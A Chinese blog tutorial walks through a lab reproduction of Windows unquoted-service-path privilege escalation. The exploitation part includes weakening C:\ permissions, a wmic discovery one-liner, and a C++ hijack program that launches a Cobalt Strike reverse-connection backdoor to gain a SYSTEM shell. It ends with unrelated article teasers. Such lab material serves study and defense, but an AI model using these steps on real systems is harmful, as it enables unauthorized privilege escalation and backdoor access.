做公众号时图片的网站/网站怎么做
关注这个专栏的其他相关笔记:[内网安全] 内网渗透 - 学习手册-CSDN博客
0x01:Trusted Service Paths 提权原理
Windows 的服务通常都是以 System 权限运行的,所以系统在解析服务的可执行文件路径中的空格的时候也会以 System 权限进行解析,如果我们能够利用这一特性,就有机会提升权限。
如果在注册表中存在没有被引号包裹的服务路径,且该服务路径中存在空格,比如下面这样的服务路径,就很可能造成攻击者的提权:
C:\Program Files\Service Folder\testService.exe
针对上面这种服务路径,由于空格的截断以及 Windows 自身的系统特性,导致其实际解析流程如下:
C:\Program.exeC:\Program Files\Service.exeC:\Program Files\Service Folder\testService.exe
系统以空格作为分割符,首先找 C:\Program.exe 尝试运行,如果不存在该程序,则去启动 C:\Program Files\Service.exe 去尝试运行,若依旧不存在该程序,则再尝试去执行 C:\Program Files\Service Folder\testService.exe。注意了,此时都是以 SYSTEM 权限进行执行的。
所以我们只要在相应的目录下制作一个恶意的程序,让系统重启时以 SYSTEM 权限执行即可。所以,使用 Trusted Service Paths 进行提权的条件如下:
-
服务中存在没有被引号包裹的路径,且该路径中包含空格。
-
当前用户具有到对应目录下写文件的权限。
-
服务被系统高权限用户启动。
0x02:Trusted Service Paths 提权环境配置
复现环境
靶机 Windows 7:IP 192.168.0.124
攻击机 Kali Linux:IP 192.168.0.100,安装了 Cobalt Strike 服务端
攻击机 Windows 11:IP 192.168.0.1,安装了 Cobalt Strike 客户端,还配备了 C++ 环境
0x0201:创建不安全的服务
首先以 Administrator 系统最高管理员的身份登录 Windows 7(该用户需要手动启动,可以前参考前面的 操作系统权限介绍 中的内容),在 C:\Program Files 文件夹下创建一个 Service Folder 文件夹,假设这个文件夹就是管理员用来存放自己配置的服务的:
然后在其中手动创建一个 testService.exe 文件(这个文件啥内容都没有),假设这个就是管理员配置的系统服务程序:
然后调出 CMD 命令行,使用下面的命令,将这个程序添加进系统服务配置中,并将启动项方式设置为 Auto,以确保系统重启时会自动运行该程序:
sc create "testService" binpath= "C:\Program Files\Service Folder\testService.exe" start= auto# "testService" => 你注册的服务的名称# binpath => 你注册服务的程序路径# start => 注册服务的启动方式,auto 为开机自启
0x0202:查询系统服务启动方式和权限
1. 通过 CMD 命令行查询
在 CMD 命令行窗口中输入如下命令,查询 testService 启动方式和执行权限:
sc qc testService
2. 通过 Windows 服务功能查看
按住 Win + R 打开 “运行” 对话框,往里头填入 “services.msc” 命令即可调用 Windows 服务功能:
然后在该功能中,我们可以很轻松的就定位到我们刚刚创建的 testService 服务:
如上,testService 服务的可执行文件路径没有被引号包裹,且路径中存在空格,非常符合我们漏洞复现的要求。
如果你仔细在这里面翻找服务,可以看到,大部分的服务可执行文件路径似乎都没有加引号,然后为了给读者涨涨见识,下面贴出一张路径加了引号的服务图片,像这种服务就是无法利用的:
0x0203:为用户配置对应目录写入权限
1. 查看对应目录用户权限
在前面的配置中,我们创建了一个不安全的系统服务,对应的程序路径是:
C:\Program Files\Service Folder\testService.exe
针对该路径,为了让后续渗透方利用的舒心,我们还要给低权限用户配置一个对应路径的写权限,针对上面这个文件,我们需要配置的低权限用户具有写入权限的路径有(选一个即可):
C:\C:\Program Files\C:\Program Files\Service Folder\ # 如果对该目录有读写修改权限,我们可以直接重写服务内容
我们先来查看一下上面这两个目录的默认配置(由于是 C 盘,所以默认权限都限制的比较严格):
icacls "C:\\" # 查询 C:\ 目录下的权限icacls "C:\\Program Files" # 查询 C:\Program Files 目录下的权限icacls "C:\\Program Files\\Service Folder"
如上,可以看到,针对 C:\ 目录,Users 用户组的普通用户只有 RX 读取和执行权限,没有写入权限,所以为了后续的漏洞利用,我们还需要赋予普通用户目录写入的权限。同时,我们还注意到,该目录的完整性级别为 High Mandatory Level,证明只有管理员级别的用户可以访问该目录,我们的普通用户是无法操作此目录的,所以我们后续还需要降低目录的完整性级别。
icacls
标识对应的权限W:写权限;R 读权限;X 执行权限;F 完全访问权限;M 修改权限。
2. 赋予用户对应目录写入权限
下面我们针对 C:\
目录,赋予低权限用户写入权限。
2.1 赋予用户对应目录写入权限 — 命令行方式
输入下面的命令,赋予系统内置的 Users 用户组对应目录(C:\
)的写入权限:
icacls "C:\\" /grant "BUILTIN\Users":(w) # 授予用户组对应目录写权限
如上,系统内置的 Users 用户组已经成功获得了对应目录的写权限。但是其实此时 Users 用户组中的用户还是无法在 C:\
目录下创建文件的,因为被 C:\
的目录完整性级别限制了,所以我们还得降低 C:\
目录的完整性级别,让 Users 用户组得以写文件到目标路径。
3. (可选)降低目录/文件完整性级别
我们上面通过 icacls
工具设置的是目录的 NTFS 权限,NTFS(New Technology File System)是 Windows 操作系统中常用的文件系统,它支持对文件和目录设置详细的权限控制。
但是我们这边讲解的 ”完整性级别“ 是独立于 NTFS 权限的一种安全机制。即使 NTFS 权限允许访问了,如果完整性级别不匹配,访问仍然会被拒绝。 所以这里,我们就需要降低C:\
目录的完整性级别,以允许低级别用户进行操作。
3.1 目录/文件完整性级别介绍
完整性级别是 Windows 中用于控制资源访问的安全机制,通常与用户账户控制(UAC)相关。
Windows 中的完整性级别分为以下几种:
-
Low(L):最低级别,通常用于浏览器等低权限进程。
-
Medium(M):默认级别,普通用户进程运行在此级别。
-
High(H):管理员权限进程运行在此级别。
-
System(S):系统内核和核心服务运行在此级别。
Windows 完整性级别的使用场景可以分为以下几个方面:
3.1.1 降低权限:将完整性设置为 Low(L)
-
场景:
-
适用于需要严格限制访问权限的目录或文件。
-
通常用于隔离低信任度的应用程序或数据(如浏览器缓存、临时文件等)。
-
-
作用:
-
只有运行在 Low(L)完整性级别的进程(如浏览器沙盒)可以访问这些资源。
-
运行在 Medium(M)或更高完整性级别的进程(如普通用户程序)无法访问。
-
-
示例:
-
将浏览器下载目录的完整性级别设置为 Low,以防止恶意软件通过下载的文件影响系统。
-
icacls "C:\Downloads" /setintegritylevel L
3.1.2 恢复默认:将完整性级别设置为 Medium(M)
-
场景:
-
适用于普通用户目录或文件,恢复默认的访问权限。
-
当目录或文件的完整性级别被错误地设置为 Low 或 High 时,可以使用此操作恢复默认。
-
-
作用:
-
运行运行在 Medium(M)或更高完整性级别的进程访问。
-
这是大多数用户程序和文件的默认级别。
-
-
示例:
-
将某个目录恢复为默认的完整性级别:
-
icacls "C:\ExampleFolder" /setintegritylevel M
3.1.3 提高权限:将完整性级别设置为 High(H)
-
场景:
-
适用于需要高安全性的目录或文件。
-
通常用于保护系统关键文件或管理员专用文件。
-
-
作用:
-
只有运行在 High(H)或 System(S)完整性级别的进程(如管理员程序)可以访问。
-
运行在 Medium(M)或更低完整性级别的进程(如普通用户程序)无法访问。
-
-
示例:
-
将某个包含敏感数据的目录设置为 High,以限制只有管理员可以访问:
-
icacls "C:\SensitiveData" /setintegritylevel H
3.2 降低 C:\ 目录完整性级别
输入下面的命令,修改 C:\
目录完整性为 Medium,以允许普通用户对该目录有操作权限:
icacls "C:\\" /setintegritylevel M
4. 提权环境检查
我们切换到 Windows 系统中的一个标准用户,笔者这里选择的是 test01 用户:
然后跑到 C:\
下,看看我们可不可以新建文本文件,如果可以,证明你的环境就 OK 了:
0x03:Trusted Service Paths 提权漏洞复现
0x0301:拿到靶机低权限用户 Shell
既然是提权,我们肯定得先拿到靶机的一个低权限用户,此处,我们就以上面的一般用户 test01 为例,来演示如何提权到 SYSTEM。
在 Kali 上开启 CS 服务端,并在 Windows 11 辅助机上使用 CS 客户端进行连接:
我们在 CS 中创建一个监听器,监听 CS 服务端的 4444 端口。然后使用该监听器创建一个 Windows 后门程序 artifact.exe,并上传到 Windows 7 靶机中:
双击 artifact.exe 文件,获取靶机的低权限 Shell:
下面,我们就要开始使用 Trusted Service Paths 进行提权了。
0x0302:定位不安全的服务
在 CS 中输入下面的命令,定位靶机中没有配置引号,且带有空格路径的服务:
wmic service get name,displayname,pathname,startmode | findstr /i "Auto" | findstr /i /v "C:\\Windows\\" | findstr /i /v """
如上成功发现有一个服务十分符合我们的要求,整理一下显示如下:
name : testService
displayname : testService
pathname : C:\Program Files\Service Folder\testService.exe
startmode : Auto
0x0303:检查特定目录是否具有写权限
针对上面获得的那个服务,我们可以利用的提权路径有以下几条:
C:\
C:\Program Files\
C:\Program Files\Service Folder\
我们先来查看以下我们当前用户所属的组:
whoami /groups
如上,我们当前用户属于本地的 Users
用户组,具有 Medium 的完整性级别。知道了这些信息,接下里,我们来一个一个查看目录权限,看我们对其是否具有写入权限:
icacls "C:\\"
如上,C:\
是一个可被利用的目录。
0x0304:制作服务劫持程序
在前面的信息收集中,我们发现目标靶机上存在一个可被利用的服务,其服务程序路径为:
C:\Program Files\Service Folder\testService.exe
又通过信息收集,发现了当前用户对 C:\
具有写权限。所以接下来,我们将要在目标的 C:\
目录下,创建一个 Program.exe
程序,利用 Windows 服务执行特性,进行提权。
这里我们采用 C++ 来制作恶意程序(因为 C 程序编译后会直接生成一个 exe 文件,采用其他编程语言的话你还得自己打包,很麻烦),下面是程序代码:
#include <stdio.h>
#include <stdlib.h>int main() {system("cmd.exe /c C:\\Users\\test01\\Desktop\\artifact.exe");return 0;
}
这个程序的逻辑很简单,运行后,会通过 CMD 执行一遍我们用 CS 制作的 Windows 反弹连接的木马文件(我们前面拿到靶机的低权限 Shell 就是用的这个文件)。
将上面的程序编译后,保存为 Program.exe
,并将该 EXE 文件上传到靶机的 C:\
下:
0x0305:等待靶机重启 & 提权成功
当我们将上面这一切都准备好后,接下来就是等待管理员重启计算机了。因为只有重启计算机了,那些开机自启的服务才会自动执行,只有服务被执行,才会触发我们刚刚创建的劫持文件。
这里,我们手动重启一下靶机(一般低权限用户是无法重启电脑的)。重启后靶机显示如下(可能是笔者制作的木马的问题,当然,更可能是木马存放路径的问题):
显示 C:\Program.exe 文件有问题,其实已经证明了 Windows 服务的解析漏洞是存在的。等待一会,即可看到 CS 上上线了目标靶机的 SYSTEM 用户,证明我们提权成功:
相关文章:

[权限提升] Windows 提权 维持 — 系统错误配置提权 - Trusted Service Paths 提权
关注这个专栏的其他相关笔记:[内网安全] 内网渗透 - 学习手册-CSDN博客 0x01:Trusted Service Paths 提权原理 Windows 的服务通常都是以 System 权限运行的,所以系统在解析服务的可执行文件路径中的空格的时候也会以 System 权限进行解析&a…...

8. k8s二进制集群之Kubectl部署
创建kubectl证书请求文件生成admin证书文件复制admin证书到指定目录生成kubeconfig配置文件接下来完成kubectl配置文件的角色绑定【扩展】kubectl命令补全操作继续上一篇文章《k8s二进制集群之Kube ApiServer部署》下面介绍一下k8s中的命令行管理工具kubectl。 通过kubectl可以…...

初学 Xvisor 之理解并跑通 Demo
官网:https://www.xhypervisor.org/ quick-start 文档:https://github.com/xvisor/xvisor/blob/master/docs/riscv/riscv64-qemu.txt 零、Xvisor 介绍 下面这部分是 Xvisor 官方的介绍 Xvisor 是一款开源的 Type-1 虚拟机管理程序,旨在提供一…...

深度内容运营与开源AI智能名片2+1链动模式S2B2C商城小程序在打造种草社区中的应用研究
摘要:移动互联网的迅猛发展极大地改变了消费者的购物行为和消费习惯,传统的购物体验已难以满足用户日益增长的个性化需求。在这种背景下,深度内容运营和实时互动成为提升用户购物体验、影响用户购物行为的重要手段。同时,开源AI智…...

RNN/LSTM/GRU 学习笔记
文章目录 RNN/LSTM/GRU一、RNN1、为何引入RNN?2、RNN的基本结构3、各种形式的RNN及其应用4、RNN的缺陷5、如何应对RNN的缺陷?6、BPTT和BP的区别 二、LSTM1、LSTM 简介2、LSTM如何缓解梯度消失与梯度爆炸? 三、GRU四、参考文献 RNN/LSTM/GRU …...

音频录制一般在什么情况下会选择保存为PCM?什么情况会选择保存为WAV?
在音频开发中,选择保存为 PCM 或 WAV 格式取决于具体的应用场景和需求。以下是两种格式的特点以及适用场景的分析: PCM 格式 特点: 原始音频数据: PCM 是未压缩的原始音频数据,没有任何文件头或元数据。数据直接以二进…...

C#常用744单词
1.visual 可见的 2.studio 工作室 3.dot 点 4.net 网 5.harp 尖端的,锋利的。 6.amework 骨架,构架,框架 7.beta 测试版,试用版 8.XML(全称:eXtensible Markup Language)…...

如何理解算法的正确性?
循环不变式(Loop Invariant) 是算法设计和程序验证中的一个核心概念,用于证明循环的正确性。它是在循环的每次迭代开始和结束时均保持为真的一种条件或性质,帮助开发者确保循环按预期工作,最终达到目标状态。 循环不变…...

蓝桥杯试题:排序
一、问题描述 给定 nn 个正整数 a1,a2,…,ana1,a2,…,an,你可以将它们任意排序。现要将这 nn 个数字连接成一排,即令相邻数字收尾相接,组成一个数。问,这个数最大可以是多少。 输入格式 第一行输入一个正整数 nnÿ…...

实验十一 Servlet(二)
实验十一 Servlet(二) 【实验目的】 1.了解Servlet运行原理 2.掌握Servlet实现方式 【实验内容】 改造实验10,引入数据库,创建用户表,包括用户名和密码:客户端通过login.jsp发出登录请求,请求…...

第五天 初步了解ArkTS和ArkUI
初步了解ArkTS和ArkUI,可以从以下几个方面进行概述: 一、ArkTS简介 定义与关系: ArkTS是HarmonyOS(鸿蒙系统)优选的主力应用开发语言。它基于TypeScript(TS)进行扩展,兼容TS的所有特…...

java中的锁面试题
1、多线程中 synchronized 锁升级的原理是什么? synchronized 是JVM层面的锁,是 Java 关键字,通过 monitor 对象来完成,synchronized 的实现涉及到锁的升级,具体为无锁、偏向锁、自旋锁、重量级锁 synchronized 锁升级…...

ES6 变量解构赋值总结
1. 数组的解构赋值 1.1 基本用法 // 基本数组解构 const [a, b, c] [1, 2, 3]; console.log(a); // 1 console.log(b); // 2 console.log(c); // 3// 跳过某些值 const [x, , y] [1, 2, 3]; console.log(x); // 1 console.log(y); // 3// 解构剩余元素 const [first, ...re…...

知识蒸馏教程 Knowledge Distillation Tutorial
来自于:Knowledge Distillation Tutorial 将大模型蒸馏为小模型,可以节省计算资源,加快推理过程,更高效的运行。 使用CIFAR-10数据集 import torch import torch.nn as nn import torch.optim as optim import torchvision.tran…...

DeepSeek各版本说明与优缺点分析
DeepSeek各版本说明与优缺点分析 DeepSeek是最近人工智能领域备受瞩目的一个语言模型系列,其在不同版本的发布过程中,逐步加强了对多种任务的处理能力。本文将详细介绍DeepSeek的各版本,从版本的发布时间、特点、优势以及不足之处࿰…...

java进阶专栏的学习指南
学习指南 java类和对象java内部类和常用类javaIO流 java类和对象 类和对象 java内部类和常用类 java内部类精讲Object类包装类的认识String类、BigDecimal类初探Date类、Calendar类、SimpleDateFormat类的认识java Random类、File类、System类初识 javaIO流 java IO流【…...

kamailio-osp模块
该文档详细讲解了如何在Kamailio中配置和使用OSP模块(Open Settlement Protocol Module),以实现基于ETSI标准的安全多边对等互联(Secure Multi-Lateral Peering)。以下是核心内容的总结: 1. 模块功能 OSP模…...

【TensorFlow】T1:实现mnist手写数字识别
🍨 本文为🔗365天深度学习训练营 中的学习记录博客🍖 原作者:K同学啊 1、设置GPU import tensorflow as tf gpus tf.config.list_physical_devices("GPU")if gpus:gpu0 gpus[0]tf.config.experimental.set_memory_g…...

Rapidjson 实战
Rapidjson 是一款 C 的 json 库. 支持处理 json 格式的文档. 其设计风格是头文件库, 包含头文件即可使用, 小巧轻便并且性能强悍. 本文结合样例来介绍 Rapidjson 一些常见的用法. 环境要求 有如何的几种方法可以将 Rapidjson 集成到您的项目中. Vcpkg安装: 使用 vcpkg instal…...

【React】受控组件和非受控组件
目录 受控组件非受控组件基于ref获取DOM元素1、在标签中使用2、在组件中使用 受控组件 表单元素的状态(值)由 React 组件的 state 完全控制。组件的 state 保存了表单元素的值,并且每次用户输入时,React 通过事件处理程序来更新 …...

Ollama+deepseek+Docker+Open WebUI实现与AI聊天
1、下载并安装Ollama 官方网址:Ollama 安装好后,在命令行输入, ollama --version 返回以下信息,则表明安装成功, 2、 下载AI大模型 这里以deepseek-r1:1.5b模型为例, 在命令行中,执行&…...

DEEPSEKK GPT等AI体的出现如何重构工厂数字化架构:从设备控制到ERP MES系统的全面优化
随着深度学习(DeepSeek)、GPT等先进AI技术的出现,工厂的数字化架构正在经历前所未有的变革。AI的强大处理能力、预测能力和自动化决策支持,将大幅度提升生产效率、设备管理、资源调度以及产品质量管理。本文将探讨AI体(…...

阿莱(arri)mxf文件变0字节的恢复方法
阿莱(arri)是专业级的影视产品软硬件供应商,很多影视作品都是使用阿莱(arri)的设备拍摄出来的。总体上来讲阿莱(arri)的文件格式有mov和mxf两种,这次恢复的是阿莱(arri)的mxf,机型是arri mini,素材保存在一个8t的硬盘上,使用的是e…...

初识 Node.js
在当今快速发展的互联网技术领域,Node.js 已经成为了一个非常流行且强大的平台。无论是构建高性能的网络应用、实时协作工具还是微服务架构,Node.js 都展示了其独特的优势。本文将带您走进 Node.js 的世界,了解它的基本概念、核心特性以及如何…...

debug-vscode调试方法
debug - vscode gdb调试指南 文章目录 debug - vscode gdb调试指南前言一、调试代码二、命令查看main反汇编查看寄存器打印某个变量打印寄存器,如pc打印当前函数栈信息(当前执行位置)打印程序栈局部变量x命令的语法如下所示:打印某…...

Cypher进阶(函数、索引)
文章目录 Cypher进阶Aggregationcount()函数统计函数collect()函数 unwindforeachmergeunionload csvcall 函数断言函数all()any()~~exists()~~is not nullnone()single() 标量函数coalesce()startNode()/endNode()id()length()size() 列表函数nodes()keys()range()reduce() 数…...

XML Schema 数值数据类型
XML Schema 数值数据类型 引言 XML Schema 是一种用于描述 XML 文档结构的语言。它定义了 XML 文档中数据的有效性和结构。在 XML Schema 中,数值数据类型是非常重要的一部分,它定义了 XML 文档中可以包含的数值类型。本文将详细介绍 XML Schema 中常用的数值数据类型,以及…...

Window获取界面空闲时间
GetLastInputInfo是一种Windows API函数,用于获取上次输入操作的时间。 该函数通过LASTINPUTINFO结构返回最后一次输入事件的时间。 原型如下 BOOL WINAPI GetLastInputInfo(PLASTINPUTINFO plii);那么可以利用GetLastInputInfo来得到界面没有操作的时长 uint…...

Java进阶(vue基础)
目录 1.vue简单入门 ?1.1.创建一个vue程序 1.2.使用Component模板(组件) 1.3.引入AXOIS ?1.4.vue的Methods(方法) 和?compoted(计算) 1.5.插槽slot 1.6.创建自定义事件? 2.Vue脚手架安装? 3.Element-UI的…...

Mac电脑上好用的压缩软件
在Mac电脑上,有许多优秀的压缩软件可供选择,这些软件不仅支持多种压缩格式,还提供了便捷的操作体验和强大的功能。以下是几款被广泛推荐的压缩软件: BetterZip 功能特点:BetterZip 是一款功能强大的压缩和解压缩工具&a…...